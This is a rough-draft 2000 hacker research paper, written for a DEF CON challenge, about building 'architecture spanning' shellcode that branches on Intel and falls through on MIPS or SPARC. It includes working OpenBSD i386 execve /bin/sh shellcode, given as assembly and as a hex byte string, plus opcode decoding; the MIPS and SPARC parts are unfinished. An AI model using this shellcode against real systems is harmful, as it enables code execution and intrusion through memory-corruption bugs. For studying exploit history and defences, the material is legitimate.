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Architecture spanning shellcode
	by eugene@subterrain.net	09/05/2000

[rough draft. send all the comments to eugene@subterrain.net]

Content:
	Introduction
	Intel architecture
	Mips architecture
	Sparc architecture
	Putting it all together
	Credits
	References
	To Do list


Introduction: At defcon8 caezar's challenge 4 party a problem was present to write a shellcode that will run on two or more processor platforms. Below you will find my solution (don't forget to check the credits section). The general idea behind a architecture spanning shellcode is trying to come up with a sequence of bytes that would execute a jump instruction on one architecture while executing a NOP-like instruction on another architecture. That way we can branch to our shellcode on one architecture and falling through to a different shellcode on another architecture. Here is an ascii presentation of our bit stream: XXX arch1 shellcode arch2 shellcode where XXX is a sequence of bytes that is going to branch to arch2's shellcode on arch2 and going to fall through to arch1's shellcode on arch1. In our case arch1 is going to be a MIPS platform and arch2 is an Intel platform Due to certain intricacies (explained later) our bit stream is going to look like [XXX: this is probably going to go away] XXX YYY arch2 shellcode arch1 shellcode where XXX is the intel jump / mips nop instruction and YYY is a MIPS short jump instruction that will jump to MIPS shellcode. [XXX: do more research on this.. can be avoided if we peform a longer jump thus still allowing for MIPS opcode to be 0] [XXX: do more research on short intel jumps.. how big is the short intel jmp instruction? the jmp i am using right now is 5 bytes long which is obviously a long jump] [XXX: branch delay slots! need to have a working code in order to test those can get complicated.. give some theory behind CPU optimizations]

Intel architecture: $ uname -ms OpenBSD i386 // openbsd.. the only way to fly $ cat jmp.asm // a simple example of a relative jump // instruction. using this example + gdb // we can figure out the hex and binary // equiv of our instruction section .text global _syscall: int 0x80 ret _start: mov eax, 2 jmp $+0xA ; relative jump! jump to a push instruction ; thus bypassing mov eax, 3 instruction mov eax, 3 push eax mov eax, 1 ; sys_exit call _syscall $ nasm -f aoutb jmp.asm // this is how we compile & link our nasm code $ ld -e _start -o jmp jmp.o $ ./jmp $ echo $? 2 // notice that the return code is 2 and not 3! // that means that our jmp $+0xA worked. // the jmp instruction jumped over 'mov eax, 3' // instruction $ gdb -q jmp (no debugging symbols found)...(gdb) disassemble start Dump of assembler code for function start: 0x1023 : movl $0x2,%eax 0x1028 : jmp 0x1032 0x102d : movl $0x3,%eax 0x1032 : pushl %eax 0x1033 : movl $0x1,%eax 0x1038 : call 0x1020 0x103d : nop 0x103e : nop 0x103f : nop End of assembler dump. (gdb) x/5bx start+5 // our jump instruction // 0xe9 is the opcode. // the last four bytes is the // offset - 5 bytes 0x1028 : 0xe9 0x05 0x00 0x00 0x00 (gdb) x/t start+5 0x1028 : 11101001 // binary for 0xe9. will need that later 39 bytes intel shellcode by yours truly (with some feedback from bind). To learn more about writing shellcode check out Aleph's One article on writing buffer overflows in Phrack 49 (see the reference part). __asm__(" jmp 0x21 # 27 bytes popl %esi pushl $0 movl %esi, 8(%esi) # ptr to ptr to /bin/sh leal 8(%esi), %eax pushl %eax movl %esi, %eax # ptr to /bin/sh pushl %eax movl $0x3b, %eax pushl $0 int $0x80 pushl $5 pushl $0 movl $1, %eax int $0x80 call -0x26 # 32 bytes # .string \"/bin/sh\" .byte 0x2f .byte 0x62 .byte 0x69 .byte 0x6e .byte 0x2f .byte 0x73 .byte 0x68 .byte 0x00 .byte 0x00 .byte 0x00 .byte 0x00 .byte 0x00 .byte 0x00 .byte 0x00 .byte 0x00 .byte 0x00 ");

MIPS architecture: The nice thing about MIPS assemly is that each MIPS instruction is exactly 32 bits long. In our case, first intel instruction (jmp) is 5 bytes long thus we pad the 5 byte intel instruction with another 3 bytes to create a total of 2 MIPS instructions. first intel instruction (jmp $+12) looks like 0xe9 0x07 0x00 0x00 0x00 converting it to binary gives us 11101001 00000111 00000000 00000000 00000000 we are going to ignore the last byte for now as it is going to become the first byte of the next MIPS instruction. also we shouldn't forget that MIPS architecture is big-endian while Intel arch is little-endian thus we should swap the consequitive bytes around In order to make sense out of the above binary stream we have to understand how MIPS processor is going to interpret it. [XXX: add more comments regarding MIPS instruction formats] MIPS R-type instruction format: opcode (5 bits) rs (5 bits) rt (5 bits) rd (5 bits) shamt (5 bits) funct (6 bits) 00000 11100 10100 10000 00000 00000 (op) (rs) (rt) (rd) (shamt) (funct) The opcode of 0 represents a variety of arithmetic instructions. We need to look at the funct field in order to figure out which instruction is going to be executed. A MIPS reference indicates that an opcode of 0 and funct of 0 represent a shift left instruction (sll). Even though this is not a nop instruction it is good enough in our case since shift amount (shamt) is 0 none of the registers are going to be changed. next MIPS instruction looks like: 0x00 0x00 0x00 0x00 32 bits of 0's is a MIPS nop instruction (MIPS nop instruction is "represented by sll $0, $0, 0, which shifts the register 0 left 0 places. it does nothing to register 0, which can't be changed in any case, and hence is used as a nop by MIPS software") the shellcode itself is incomplete.. need an account on a MIPS box (i.e. an SGI box) if you can provide me with an account for a short amount of time that would be great!

Sparc architecture: Just as it is the case with MIPS architecture, Sparc instructions are also always 32 bits long. Sparc architecture is also big-endian thus whatever instruction decoding we applied to MIPS is also applicable to sparc.. thus our 2 sparc instructions are going to like 0xe9 0x07 0x00 0x00 0x00 11101001 00000111 00000000 00000000 00000000 and 00000000000000.... an opcode of 0 in sparc belongs to SETHI & Branches (Bicc, FBfcc, CBcc) group [XXX: decode the rest of the instruction. make sure it does what we want (nop)] [XXX: the challenge at this point is have a MIPS jump to be a nop in Sparc assembly.. or the other way around.. thus our bits stream now looks like XXX - intel jump YYY - mips jump ZZZ - sparc jump.. might not need that in case we make sparc shellcode to follow the YYY jump arch1 arch2 arch3 fun ;-) ]

Putting it all together.. Architecture spanning shellcode: 0xe9 0x07 0x00 0x00 0x00 ; jmp $+12 (intel) 0x00 0x00 0x00 ; some useless MIPS arithmetic inst. (MIPS 4 byte jump to MIPS shellcode) intel shellcode: \xeb\x21\x5e\x6a\x00\x89\x76\x08\x8d\x46\x08\x50\x89\xf0 \x50\xb8\x3b\x00\x00\x00\x6a\x00\xcd\x80\x6a\x05\x6a\x00\xb8\x01 \x00\x00\x00\xcd\x80\xe8\xda\xff\xff\xff\x2f\x62\x69\x6e \x2f\x73\x68\x00\x00\x00\x00\x00\x00\x00\x00\x00 (MIPS shellcode)

Credits: Greg Hoglund for coming up with the original idea at the challenge party prole & harm for coming with an idea way before Greg :) SSG, ghettohackers

References: prole & harm's paper on the subject (way more extensive than mine) not released yet. the challenge www.caezarschallenge.org aleph's one article on buffer overlows in phrack 49.

To Do List: add more architectures (at least sparc, maybe hp and powerpc) [XXX: afaik the core powerpc instruction set is the same as that of MIPS] [XXX: do more research on shellcode that will run on both bsd & linux.. bsd passes the parameters to syscalls on stack while linux uses registers for that.. $ cat linuxbsdasm.asm section .text global _start _syscall: int 0x80 ret _start: mov ebx, 13 ; place the exit code in a register (for linux) push ebx ; and push it on stack (for bsd) mov eax, 1 ; sys_exit (common call for both OSes) call _syscall ; exit(13) $ nasm -f aoutb linuxbsdasm.asm && ld -e _start -o linuxbsdasm linuxbsdasm.o $ ./linuxbsdasm $ echo $? 13 $ uname -ms OpenBSD i386 $ ssh -l eugene linuxbox [eugene@linuxbox]$ nasm -f elf linuxbsdasm.asm && ld -s -o linuxbsdasm linuxbsdasm.o [eugene@linuxbox]$ ./linuxbsdasm [eugene@linuxbox]$ echo $? 13 [eugene@linuxbox]$ uname -ms Linux i686 ]